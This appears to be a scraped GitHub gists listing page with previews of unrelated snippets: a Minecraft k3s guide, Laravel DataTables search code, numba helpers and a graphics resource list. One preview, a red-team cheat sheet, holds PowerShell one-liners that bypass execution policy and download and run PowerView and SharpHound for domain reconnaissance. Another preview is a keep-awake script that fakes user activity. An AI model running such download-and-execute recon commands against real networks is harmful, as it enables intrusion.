Skip to content

Instantly share code, notes, and snippets.

@gabrielsson
gabrielsson / minecraft-on-raspberry-pi.md
Last active May 9, 2024 00:32
Minecraft on Raspberry Pi cluster with metrics

alt

Minecraft on Raspberry Pi cluster with metrics

Ever wanted to put your Rapsberry Pi cluster to great use? Our team is working remotely, so we started to play Minecraft. I decided I would host the Minecraft server on my Raspberry Pi cluster. This gist will guide you through the steps I took to get a k3s cluster up with k3sup and later installed Minecraft as well as metrics exporter and Prometheus Operator

Why?

Quoniam Possumus - Because we can

You'll need

@lftbrts
lftbrts / gitignore_symlinks.txt
Created May 16, 2017 11:53
git ignore symlinks
@MHaggis
MHaggis / RedTeam_CheatSheet.ps1
Created November 25, 2019 16:06 — forked from m8sec/RedTeam_CheatSheet.ps1
Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
@armadeas
armadeas / SearchBuilderScope.php
Last active May 9, 2024 00:30
Yajra\DataTables\Contracts\DataTableScope for SearchBuilder
<?php
namespace App\DataTables\Scopes;
//use Debugbar;
use Yajra\DataTables\Contracts\DataTableScope;
//use App\Models\Concerns\SearchBuilder;
class SearchBuilderScope implements DataTableScope
@DannyWeitekamp
DannyWeitekamp / str_float.py
Created October 21, 2023 02:40
Implementing str(float) in numba
import numba
import numpy as np
import numba
from numba import types, jit,njit, generated_jit
from numba import deferred_type, optional
from numba import void,b1,u1,u2,u4,u8,i1,i2,i4,i8,f4,f8,c8,c16
from numba.typed import List, Dict
from numba.types import ListType, unicode_type, UnicodeType
from numba.cpython.unicode import _empty_string, _set_code_point, _get_code_point, PY_UNICODE_1BYTE_KIND
from numba.extending import overload, overload_method
<?php
namespace App\Models\Concerns;
trait SearchBuilder
{
public function scopeSearchBuilder($query)
{
if (request()->filled('searchBuilder') && request()->query('searchBuilder') !== 'false') {
$query->where(function ($query) {
@saaiful
saaiful / SearchBuilder.php
Last active May 9, 2024 00:29
Depth 1 SearchBuilder for DataTable
<?php
namespace App;
use Illuminate\Http\Request;
/**
* Depth 1 SearchBuilder for DataTable
* Supports Query Builder and Eloquent ORM
* To prevent unauthorized access to the database, the code uses two security measures.
@notnotrobby
notnotrobby / cgp.md
Last active May 9, 2024 00:26
List of free resources to study computer graphics programming.
@jamesfreeman959
jamesfreeman959 / keepawake.ps1
Last active May 9, 2024 00:19
A very simple PowerShell script to keep a Windows PC awake and make lync think the user is active on the keyboard
# Useful references:
#
# https://superuser.com/questions/992511/emulate-a-keyboard-button-via-the-command-line
# https://ss64.com/vb/sendkeys.html
# https://social.technet.microsoft.com/Forums/windowsserver/en-US/96b339e2-e9da-4802-a66d-be619aeb21ac/execute-function-one-time-in-every-10-mins-in-windows-powershell?forum=winserverpowershell
# https://learn-powershell.net/2013/02/08/powershell-and-events-object-events/
#
# Future enhancements - use events rather than an infinite loop
$wsh = New-Object -ComObject WScript.Shell
while (1) {
@aamiaa
aamiaa / CompleteDiscordQuest.md
Last active May 9, 2024 00:18
Complete Recent Discord Quest

Complete Recent Discord Quest

Note

This no longer works in browser!

Note

This no longer works if you're alone in vc! Somebody else has to join you!

How to use this script:

  1. Accept the quest under User Settings -> Gift Inventory